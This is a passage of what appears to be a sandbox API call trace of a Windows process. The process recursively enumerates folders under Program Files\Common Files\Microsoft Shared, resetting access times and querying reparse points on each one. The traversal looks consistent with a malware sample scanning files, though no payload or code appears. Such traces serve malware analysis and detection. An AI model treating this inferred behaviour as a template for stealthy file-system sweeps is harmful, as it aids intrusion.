nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9b13f0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.588] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829c78 [0144.589] GetLastError () returned 0x12 [0144.589] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.589] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.590] GetLastError () returned 0x12 [0144.590] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.590] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.591] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.592] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.592] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b13f0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9b13f0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.592] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.593] GetLastError () returned 0x12 [0144.593] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829c78 [0144.593] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.593] GetLastError () returned 0x12 [0144.593] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.593] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.594] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0144.595] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.595] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b13f0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9b13f0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.595] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829c78 [0144.596] GetLastError () returned 0x12 [0144.596] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.596] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.596] GetLastError () returned 0x12 [0144.596] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.596] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.597] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.597] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b13f0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9b13f0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.598] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.599] GetLastError () returned 0x12 [0144.599] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829c78 [0144.599] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.599] GetLastError () returned 0x12 [0144.599] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.599] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.601] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0144.601] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.601] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b13f0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9b13f0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.601] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829c78 [0144.602] GetLastError () returned 0x12 [0144.602] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.602] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.602] GetLastError () returned 0x12 [0144.602] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.602] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.604] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.604] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.604] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b13f0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9b13f0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.604] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.605] GetLastError () returned 0x12 [0144.606] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829c78 [0144.606] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.606] GetLastError () returned 0x12 [0144.606] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.606] GetLastError () returned 0x12 [0144.606] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.606] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.607] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.608] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0144.608] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b1cb8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x9b1cb8, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0144.608] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829cb8 [0144.609] GetLastError () returned 0x12 [0144.609] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829c78 [0144.609] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.609] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.611] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.611] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.611] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b1cb8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9b1cb8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.611] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.612] GetLastError () returned 0x12 [0144.612] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.612] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.612] GetLastError () returned 0x12 [0144.612] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.612] GetLastError () returned 0x12 [0144.612] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.613] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA" (normalized: "c:\\program files\\common files\\microsoft shared\\vba"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.614] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA" (normalized: "c:\\program files\\common files\\microsoft shared\\vba"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0144.615] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0144.615] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b1cb8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x9b1cb8, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0144.615] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829c78 [0144.616] GetLastError () returned 0x12 [0144.616] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829bf8 [0144.616] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.616] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.618] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0144.618] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.618] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b1cb8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9b1cb8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.618] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829c78 [0144.619] GetLastError () returned 0x12 [0144.619] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.619] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.619] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.620] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0144.620] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0144.621] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b1cb8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x9b1cb8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0144.621] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c78 [0144.623] GetLastError () returned 0x12 [0144.623] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c38 [0144.623] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.623] GetLastError () returned 0x12 [0144.623] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0144.625] GetLastError () returned 0x12 [0144.625] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.625] GetLastError () returned 0x12 [0144.625] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.625] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC" (normalized: "c:\\program files\\common files\\microsoft shared\\vc"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.685] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC" (normalized: "c:\\program files\\common files\\microsoft shared\\vc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.685] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0144.685] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b3cb8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x9b3cb8, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0144.685] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829bf8 [0144.686] GetLastError () returned 0x12 [0144.686] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829cb8 [0144.686] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.686] GetLastError () returned 0x12 [0144.686] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.686] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.688] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.688] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0144.688] DeviceIoControl 